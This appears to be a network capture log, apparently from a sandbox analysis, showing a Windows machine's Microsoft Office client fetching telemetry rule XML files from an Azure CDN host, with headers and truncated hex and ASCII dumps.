2024-11-24 03:23:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:18 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032318Z-178bfbc474bv587zhC1NYCny5w0000000590000000007ykh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:18 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:18 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a4032f19-b01e-0084-598d-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032318Z-174c587ffdfb5q56hC1TEB04kg00000003sg00000000e5d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:18 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 814f5bec-201e-003f-7d43-3c6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032318Z-178bfbc474bv587zhC1NYCny5w000000055000000000ky7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:19 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032320Z-178bfbc474b7cbwqhC1NYC8z4n00000005b0000000006d3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:19 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 990fd94f-f01e-0052-6c4e-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032320Z-178bfbc474bnwsh4hC1NYC2ubs00000005kg000000000axs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032320Z-178bfbc474bgvl54hC1NYCsfuw00000005e00000000041v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: d9643c7c-a01e-0021-3e4f-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032320Z-178bfbc474bpnd5vhC1NYC4vr400000005d0000000009avn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:20 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 627e99eb-a01e-0084-2049-3c9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032320Z-178bfbc474bwh9gmhC1NYCy3rs00000005g0000000006mt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:21 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:21 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 44d6ee8b-901e-0064-7c7e-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032322Z-174c587ffdf6b487hC1TEBydsn00000003v00000000067bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:22 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:22 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 41c0d1b3-901e-00ac-6911-3db69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032322Z-178bfbc474bv587zhC1NYCny5w000000059g000000006yh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:22 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:22 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:22 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: db978d42-601e-000d-55f1-3d2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032322Z-15b8b599d88g5tp8hC1TEByx6w00000003sg00000000f30d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:22 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:22 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:22 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 30a13b16-c01e-0082-0d6a-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032322Z-174c587ffdf59vqchC1TEByk6800000003x000000000q910 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:23 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 